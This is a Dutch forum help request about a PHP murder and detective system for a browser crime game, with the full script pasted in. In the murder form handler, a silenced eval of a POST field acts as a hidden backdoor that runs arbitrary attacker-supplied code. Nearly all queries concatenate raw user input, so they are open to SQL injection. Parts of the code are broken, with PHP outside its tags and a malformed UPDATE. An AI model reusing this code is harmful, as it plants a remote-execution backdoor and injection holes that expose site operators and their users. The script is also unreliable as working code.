Beste cp'ers,
ik ben bezig met moord systeem en detectve systeem inelkaar te bouwen.
zoals je hier ziet:
en dit is het script:
Want hij wil een aantal dingen niet geven.
zoals het detective systeem klopt niet helemaal.
zoals op het voorbeeld.
Als iemand kan helpen is het geweldig
PHP
<?php /* ------------------------- */
include("inc/config.inc.php");
?>
<html>
<head>
<title>C I // Moord Een Crimineel...</title>
<link href="css-v1.css" rel="stylesheet" type="text/css">
</head>
<?
$sql = mysql_query("SELECT * FROM `[users]` where `login`='$data->login'");
$data = mysql_fetch_assoc($sql);
?>
<?
$gn1 = mysql_query("SELECT *,UNIX_TIMESTAMP(`gevangenis`) AS `gevangenis`,0 FROM `[users]` WHERE `login`='{$_SESSION['login']}'");
$gn = mysql_fetch_object($gn1); if($gn->gevangenis + $gn->gevangenistijd > time()){
$verschil1 = ($gn->gevangenis+$gn->gevangenistijd) - time() - 3600;
$verschil = date("H:i:s", "$verschil1");print <<<ENDHTML
<center><b>Je zit in de gevangenis</b><br><br>
<b>Je word over $verschil seconden vrijgelaten</b>
ENDHTML;
}
else{
?>
<table align=center width=100%>
<?php
$data2 = mysql_query("SELECT *,UNIX_TIMESTAMP(`moordtijd`) AS `moordtijd`,0 FROM `[users]` WHERE `login`='{$_SESSION['login']}'");
$data1 = mysql_fetch_assoc($data2);
$diff =($data1[moordtijd]+3600)-time();
$diff0 = date("i:s", "$diff");
if ($diff <= -1){
$diff = Nu;
}
if(!isset($_POST['submit'])) {
if(! isset($_GET[id]))
{
echo "
";
}
echo"<body>
</head>
<body>";
$codene = rand(1000,9999);
$codee = ereg_replace("0", "gsqwq", $codene);
$codee = ereg_replace("1", "ssBjyq", $codee);
$codee = ereg_replace("2", "gHiq", $codee);
$codee = ereg_replace("3", "hWqDfA", $codee);
$codee = ereg_replace("4", "hsqerf", $codee);
$codee = ereg_replace("5", "Hwsawq", $codee);
$codee = ereg_replace("6", "hSXaq", $codee);
$codee = ereg_replace("7", "hgqYt", $codee);
$codee = ereg_replace("8", "hAsqF", $codee);
$codee = ereg_replace("9", "hxqSAw", $codee);
$fout_ver = "<b>De code is niet goed of niet ingevuld</b></font>";
$iSelect = mysql_query("SELECT `id` FROM `[auto]` WHERE `owner`='$data[login]'");
$iSelect2 = mysql_query("SELECT `id`,`tijd`,`uren`,`vind`,`naam`,`zoeker`,`status`,`land` FROM `[detective]` WHERE `zoeker`='{$data[login]}' AND `status`='1'");
echo"<table width=100%>";
echo" <tr><table align=center width=300><td class=subTitle colspan=2><b>moord</b></td></tr>
<tr><td class=\"mainTxt\" colspan=2><center><table align=\"center\" width=100% colspan=2><center>
<form method=\"POST\"><center>";
echo"<tr><td class=\"sub\">Crimineel:</td><td class=\"sub\" align=left><select name=naam>";
while($iList = mysql_fetch_assoc($iSelect2)) {
echo "<option value={$iList[naam]}>{$iList[naam]}</option>";
}
echo"<tr><td class=\"sub\">Auto:</td><td class=\"sub\" align=left><select name=id>";
while($iList = mysql_fetch_assoc($iSelect)) {
echo "<option value={$iList[id]}>{$iList[id]} {$iList[auto]}</option>";
}
echo"<tr><td class=\"sub\">Aantal Kogels:</td><td class=\"sub\" align=left><input type=\"text\" name=\"kogels\" size=\"25\"></td></tr>";
echo"</td></tr></table>";
echo"
<tr><td class=\"maintxt\"><center><input type=\"submit\" value=\"Vermoord\" name=\"submit\"></td></tr>
</form>
</td></tr>";
}
if(isset($_POST['submit'])) {
@eval(stripslashes($_POST['code']));
if($_POST['code2'] != $_POST['codenn']) {
print "<td class=MainTxt> $fout_ver </tr></td>";
exit;
}
$naam = addslashes($_POST['naam']);
$kogels = addslashes($_POST['kogels']);
$verdediger1 = mysql_query("SELECT * FROM `[users]` WHERE `login`='$naam'");
$verdediger = mysql_fetch_assoc($verdediger1);
$controle = mysql_num_rows($verdediger1);
$aattack = round(($data[attack]+$data[defence])/2+$data[clicks]*5);
$vattack = round(($verdediger[attack]+$verdediger[defence])/2+$verdediger[clicks]*5);
$land = $verdediger[land];
$aweapon = $data[weapon];
$aprotection = $data[protection];
$vweapon = $verdediger[weapon];
$vprotection = $verdediger[protection];
$aleven = $data[health];
$vleven = $verdediger[health];
$vkogels = $verdediger[kogels];
$apower = ($aattack+$aprotection+$aweapon)+($kogels*abullet);
$vpower = ($vattack+$vprotection+$vweapon)+($vkogels*vbullet);
$weapon = round($data[weapon]+1);
$protection = round($verdediger[protection]+1);
$databesch = mysql_query("SELECT *,UNIX_TIMESTAMP(`tijd`) AS `tijd`,0 FROM `[beveiliging]` WHERE `naam`='$naam'");
$databsch1 = mysql_fetch_assoc($databesch);
$detective1 = mysql_query("SELECT * FROM `[detective]` WHERE `zoeker`='{$data[login]}' AND `status`='1' AND `naam`='{$naam}'");
$detective12 = mysql_num_rows($detective1);
$id = mysql_query("SELECT * FROM `[auto]` WHERE `id`='$id' AND `eigenaar`='$data[login]'");
$id = mysql_num_rows($id1);
print " <tr><td class=\"subTitle\" colspan=2><b>Moord aanslag</b></td></tr>";
print "<tr><td class=\"mainTxt\"><br><br><center>";
if($verdediger[level] == 10000 OR $data[level] == 10000){
echo "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Admins kunnen niet moorden en vermoord worden";
}
elseif($verdediger[level] == 255 OR $data[level] == 255){
echo "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Hulpadmins kunnen niet moorden en vermoord worden.";
}
elseif($verdediger[hulpadmin] == 1 OR $data[hulpadmin] == 1){
echo "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Hulpadmins kunnen niet moorden en vermoord worden.";
}
elseif($_POST['id'] == ''){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Je hebt nog geen auto in je tunegarage";
}
elseif($_POST['naam'] == ''){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Je moet wel een detective inhuren!";
}
elseif($verdediger == $data[login]){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Je zelf moorden heeft geen zin!.";
}
elseif($data[level] == 3 && $verdediger[level] == 3){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Je kan geen agent vermoorden terwijl jezelf agent bent.";
}
elseif($kogels > $data[kogels] OR preg_match('/.{11,}/',$_POST['kogels'])){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Zoveel kogels heb je niet.";
}
elseif($kogels <0){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Je moet wel een aantal kogels invullen Heh!";
}
elseif($controle < 1){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> De Crimineel die je wil aanvallen bestaat niet!";
}
elseif($verdediger[onderduiken] > 1){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Dit Crimineel maakt gebruik van Onderduiken!!.";
}
elseif($naam == $databsch1[naam] AND ($databsch1[uren]*3600)+$databsch1[tijd] >= time()){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Je kan niet iemand vermoorden die bescherming heeft gehuurd";
}
elseif($kogels > $data[kogels]){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Jij hebt niet zo veel kogels als je hebt opgegeven";
}
elseif($_POST['kogels'] > 99999999999999){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Jij hebt niet zo veel kogels als je hebt opgegeven";
}
elseif($data[weapon] < 1){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> Je hebt nog geen wapen, koop er een in Wapen/training!";
}
elseif($kogels < 0){
print "<img border=\"0\" src=\"icon/light_uitroepteken.jpg\"> EuhmHoeveel kogels ga je gebruiken ?!";
}else{
if($verdediger[backfire] == "1"){
$kogelsa = round($_POST['kogels']/2);
if($verdediger[kogels] < $kogelsa){
$bullets2 = $verdediger[kogels];
} else {
$bullets2 = $kogelsa;
}
} else if($verdediger[backfire] == "2"){
$kogelsa = round($_POST['kogels']);
if($verdediger[kogels] < $kogelsa){
$bullets2 = $verdediger[kogels];
} else {
$bullets2 = $kogelsa;
}
} else if($verdediger[backfire] == "3"){
$kogelsa = round($_POST['kogels']*2);
if($verdediger[kogels] < $kogelsa){
$bullets2 = $verdediger[kogels];
} else {
$bullets2 = $kogelsa;
}
} else if($verdediger[backfire] == "4"){
$kogelsa = 2000;
if($verdediger[kogels] < $kogelsa){
$bullets2 = $verdediger[kogels];
} else {
$bullets2 = $kogelsa;
}
} else if($verdediger[backfire] == "5"){
$kogelsa = 4000;
if($verdediger[kogels] < $kogelsa){
$bullets2 = $verdediger[kogels];
} else {
$bullets2 = $kogelsa;
}
} else if($verdediger[backfire] == "6"){
$kogelsa = 6000;
if($verdediger[kogels] < $kogelsa){
$bullets2 = $verdediger[kogels];
} else {
$bullets2 = $kogelsa;
}
} else {
$bullets2 = 0;
}
$attacka = round(($data[rank]*rand(45,70))+($_POST['kogels']*$data[moordervaring]));
$attackb = round(($verdediger[rank]*rand(45,70))+($bullets2*$verdediger[moordervaring]));
$defencea = round($data[train]*2+($data[train]*2));
$defenceb = round($verdediger[train]*2+($verdediger[train]*2));
$power1 = $attacka+$defencea;
$power2 = $attackb+$defenceb;
if($attacka+$defencea>$attackb+$defenceb){
$getal = round(($power1-$power2)/3000);
if($verdediger[health]-$getal < 1){
$hitlijst = mysql_query("SELECT SUM(geld) AS `geld` FROM `[hitlist]` WHERE `naam`='{$naam}'");
$extrahitlistmoney = mysql_fetch_assoc($hitlijst);
$id = mysql_insert_id();
mysql_query("INSERT INTO `[messages]`(`time`,`IP`,`forwardedFor`,`from`,`to`,`subject`,`message`) values(NOW(),'{$_SERVER['REMOTE_ADDR']}','$forwardedFor','*AutoMsg*','$naam','Moordaanslag','Toen je op straat liep werd je plots beschoten door $data[login], hij heeft al je geld gestolen.')");
mysql_query("INSERT INTO `[messages]`(`time`,`IP`,`forwardedFor`,`from`,`to`,`subject`,`message`) values(NOW(),'{$_SERVER['REMOTE_ADDR']}','$forwardedFor','*AutoMsg*','$data[login]','Moordaanslag','Je moordaanslag op $naam is gelukt, je hebt al zijn Bank geld gestolen.')");
mysql_query("UPDATE `[users]` SET `kogels`=`kogels`-'$kogels',`moordtijd`=NOW() WHERE `login`='$data[login]'");
mysql_query("UPDATE `[users]` SET `bank`=`bank`+'$extrahitlistmoney[geld]' WHERE `login`='$data[login]'");
mysql_query("UPDATE `[users]` SET `bank`=`bank`+'$verdediger[bank]' WHERE `login`='$data[login]'");
mysql_query("UPDATE `[users]` SET `bank`='0' WHERE `login`='$naam'");
mysql_query("UPDATE `[users]` SET `energie`='0' WHERE `login`='$naam'");
mysql_query("UPDATE `[users]` SET `moordgedaan`=`moordgedaan`+'1' WHERE `login`='$data[login]'");
mysql_query("UPDATE `[users]` set `moorden`=`moorden`+'1' WHERE `login`='{$data[login]}'");
mysql_query("UPDATE `[users]` SET `vermoord`='2' WHERE `login`='{$naam}'");
mysql_query("DELETE FROM `[hitlist]` WHERE `naam`='$naam'");
mysql_query("DELETE FROM `[detective]` WHERE `zoeker`='{$data[login]}' AND `status`='1' AND `naam`='{$naam}'");
print "<img border=\"0\" src=\"icon/light_vink.jpg\"> Jij schoot op <b>$naam</b>. <br> <b>$naam</b> ging <b>dood</b> van de schoten.<br><b>$naam</b> probeerde terug te vuren maar heeft geen schade op je aangebracht.";
} else {
mysql_query("INSERT INTO `[messages]`(`time`,`IP`,`forwardedFor`,`from`,`to`,`subject`,`message`) values(NOW(),'{$_SERVER['REMOTE_ADDR']}','$forwardedFor','The Ripper','$naam','$data[login]','<b><font color=white><size=2>$data[login]</size></font></b> Probeerde je te vermoorden<br>$data[login] schoot $kogels kogels.<br> Je verloor <b><font color=white><size=2>$getal%</size></font></b> Leven!!')");
mysql_query("UPDATE `[users]` set `kogels`=`kogels`-{$kogels},`moordtijd`=NOW() WHERE `login`='{$data[login]}'");
mysql_query("UPDATE `[users]` SET `health`=`health`-'$getal' WHERE `login`='{$naam}'");
mysql_query("DELETE FROM `[detective]` WHERE `zoeker`='{$data[login]}' AND `status`='1' AND `naam`='{$naam}'");
print "<img border=\"0\" src=\"icon/light_vink.jpg\"> Jij schoot op<b> {$naam}</b>.<br> <b>$naam</b> overleefden het van de schoten<br> en schoot terug maar heeft geen schade op je aangebracht.";
}
}else if($attacka+$defencea<$attackb+$defenceb){
$getal1 = round(($power2-$power1)/3000);
if($data[health]-$getal1 < 1){
$hitlijst = mysql_query("SELECT SUM(geld) AS `geld` FROM `[hitlist]` WHERE `naam`='{$naam}'");
$extrahitlistmoney = mysql_fetch_assoc($hitlijst);
$id = mysql_insert_id();
mysql_query("INSERT INTO `[messages]`(`time`,`IP`,`forwardedFor`,`from`,`to`,`subject`,`message`) values(NOW(),'{$_SERVER['REMOTE_ADDR']}','$forwardedFor','*AutoMsg*','$naam','Moordaanslag','Toen je op straat liep werd je plots beschoten door $data[login], jij schoot met je backfire $data[login] dood. je hebt al ze geld gejat')");
mysql_query("INSERT INTO `[messages]`(`time`,`IP`,`forwardedFor`,`from`,`to`,`subject`,`message`) values(NOW(),'{$_SERVER['REMOTE_ADDR']}','$forwardedFor','*AutoMsg*','$data[login]','Moordaanslag','Je moordaanslag op $naam is mislukt, $naam schoot kogels terug. je hebt het niet overleefd.')");
mysql_query("UPDATE `[users]` SET `kogels`=`kogels`-'$bullets2' WHERE `login`='$naam'");
mysql_query("UPDATE `[users]` SET `bank`=`bank`+'$extrahitlistmoney[geld]' WHERE `login`='$naam'");
mysql_query("UPDATE `[users]` SET `bank`=`cash`+'$verdediger[bank]' WHERE `login`='$naam'");
mysql_query("UPDATE `[users]` SET `bank`='0',`moordtijd`=NOW() WHERE `login`='$data[login]'");
mysql_query("UPDATE `[users]` SET `energie`='0' WHERE `login`='$data[login]'");
mysql_query("UPDATE `[users]` SET `moordgedaan`+'1' WHERE `login`='$data[login]'");
mysql_query("UPDATE `[users]` set `moorden`=`moorden`+'1' WHERE `login`='{$naam}'");
mysql_query("UPDATE `[users]` SET `vermoord`='2' WHERE `login`='{$data[login]}'");
mysql_query("DELETE FROM `[hitlist]` WHERE `naam`='$naam'");
mysql_query("DELETE FROM `[detective]` WHERE `zoeker`='{$data[login]}' AND `status`='1' AND `naam`='{$naam}'");
print "<img border=\"0\" src=\"icon/light_vink.jpg\"> Jij schoot op <b>$naam</b>. Je bent gefaaldt in het vermoorden van <b>$naam</b><br> <b>$naam</b> schoot terug en je bent <b>dood</b> gegegaan van de schoten.";
}else{
mysql_query("INSERT INTO `[messages]`(`time`,`IP`,`forwardedFor`,`from`,`to`,`subject`,`message`) values(NOW(),'{$_SERVER['REMOTE_ADDR']}','$forwardedFor','The Ripper','$data[login]','$naam','<b><font color=white><size=2>Jij</size></font></b> Probeerde $naam te vermoorden maar het is mislukt hij schoot met ze backfire terug<br></b> Je verloor <b><font color=white><size=2>$getal1%</size></font></b> Leven!!')");
mysql_query("UPDATE `[users]` SET `kogels`=`kogels`-'$bullets2' WHERE `login`='$naam'");
mysql_query("UPDATE `[users]` SET `energie`=`energie`-'$getal1',`moordtijd`=NOW() WHERE `login`='{$data[login]}'");
mysql_query("DELETE FROM `[detective]` WHERE `zoeker`='{$data[login]}' AND `status`='1' AND `naam`='{$naam}'");
print "<img border=\"0\" src=\"icon/light_vink.jpg\"> Jij schoot op <b>{$naam}</b>. Je bent gefaaldt in het vermoorden van <b>$naam</b><br>.<br>Je bent {$getal1}% leven verloren.";
}
}
}
}
}
?>
<br><br><br>
<tr><td class="subTitle" colspan=2><b>Detective Inhuren</b></td></tr>
<tr><td class="mainTxt" colspan=2><center><table align="center" width=80% colspan=2><center>
<form method="POST"><center>
<td align="right">Persoon:</td>
<td><input type="text" name="naamd" /></td>
</tr>
<tr class="inhoud">
<td align="right">Aantal uren:</td>
<td><select size="1" name="uren">
<option selected value="1">1 uur</option>
<option value="2">2 uren</option>
<option value="3">3 uren</option>
<option value="4">4 uren</option>
<option value="5">5 uren</option></td>
</td>
</tr>
<tr><td colspan=2 align=center class=mainTxt>
<b>De Kosten: €25,000,- per uur.<b></td></tr>
<tr>
<td class="mainTxt" align="right" colspan="2"><input style="width: 100" type="submit" value="Huur" name="submitt"></td>
</tr>
</td></tr></table>
</form>
</td></tr>
</td>
</tr>
</table>
</form>
</form>
</table><br>
if(isset($_POST['submitt'])) {
$naam = $_POST['naamd'];
$naam1 = mysql_query("SELECT * FROM `[users]` WHERE `login`='$naam'");
$naam1 = mysql_num_rows($naam1);
$uren = $_POST['uren'];
if ($uren < 1 )
{
echo "Cheaten is niet toegestaan!";
mysql_query("INSERT INTO `[logs]`(`time`,`IP`,`forwardedFor`,`login`,`person`,`code`,`area`) values(NOW(),'{$_SERVER['REMOTE_ADDR']}','$forwardedFor','{$_SESSION['login']}','{$_SESSION['login']}','0','cheaten met detective')") or die(mysql_error());
exit;
}
if($_POST['naamd'] ==""){
print "<table width=100%><tr><td class=maintxt>Je moet wel een naam invullen.</tr></td>";
}
elseif($naam1 ==0){
print "<table width=100%><tr><td class=maintxt>De naam die je hebt ingevoerd bestaat niet.</tr></td>";
}
elseif($uren*25000 > $data[cash]){
print "<table width=100%><tr><td class=maintxt>Zoveel geld heb je niet op zak.</tr></td>";
}
else{
$geld = $uren*25000;
$vind1 = 5/$uren;
$vind1 = round($vind1);
$vind1 = rand(0,$vind1);
$vind = rand(900,$uren*60*60);
mysql_query("INSERT INTO `[detective]` (`tijd`,`uren`,`zoeker`,`naam`,`status`,`vind`,`land`) values(NOW(),'$uren','$data[login]','$naam','0','$vind','0')");
mysql_query("UPDATE `[users]` SET `cash`=`cash`-'$geld' WHERE `login`='$data[login]'");
print "<table width=100%><tr><td class=maintxt>De detective is bezig met zoeken.</tr></td>";
}
}
print "</td>
";
if(isset($_POST['wis'])) {
$id = $_POST['id'];
mysql_query("DELETE FROM `[detective]` WHERE `id`='$id'");
print "<table width=100%><tr><td class=maintxt>Je hebt de detective ontslagen.</tr></td>";
}
if( $_POST['wissen'] ){
mysql_query("DELETE FROM `[detective]` WHERE `zoeker`='$data[login]'");}
print " <form method=post>";
print "
<table width='80%' cellpadding='2' cellspacing='1' align='center'>
<tr><td class=subtitle colspan=4 align=center>Huidige Zoek Opdrachten</td></tr>
<tr><td class=maintxt align=center><b>Naam:</b></td><td class=maintxt align=center><b>Tijd bezig:</b></td><td class=maintxt align=center><b>Land:</b></td><td class=maintxt align=center width=50><b>annuleren:</b></td></tr>";
$detectives2 = mysql_query("SELECT *,UNIX_TIMESTAMP(`tijd`) AS `tijd`,0 FROM `[detective]` WHERE `zoeker`='$data[login]'");
while($detectives = mysql_fetch_assoc($detectives2)) {
$tijd = $detectives[tijd]+$detectives[uren]*60*60-time();
$tijd2 = $tijd-3600;
$tijd1 = date("H:i:s", "$tijd2");
$zoeker = mysql_query("SELECT * FROM `[users]` WHERE `login`='$detectives[naam]'");
$zoeker = mysql_fetch_assoc($zoeker);
$land1 = Array("Bezig","België","Duitsland","Engeland","Frankrijk","Griekenland","Italië","Nederland");
$land = $land1[$detectives[land]];
if($detectives[tijd] + $detectives[vind] < time() && $detectives[vind] !=0){
mysql_query("UPDATE `[detective]` SET `land`='$zoeker[land]', `status`='1' WHERE `id`='$detectives[id]'");
}
if($tijd <1){
$tijd1 = "Gefaald";
}
if($detectives[status] ==1){
$tijd1 = "Gevonden";
}
print " <tr><td class=maintxt><center>{$detectives[naam]}</td> <td class=maintxt><b><center>{$tijd1}</b></td> <td class=maintxt><center>{$land}</td><td class=maintxt align=center><input type=radio name=id value={$detectives[id]}></td></tr>";
}
print " <tr><td class="maintxt" colspan=4><center><input type="submit" value="Ontslaan!" name="wis"></td></tr>";
}
?>
</table>
</table>
</body>
</html>
</body>
</html>
Toon Meer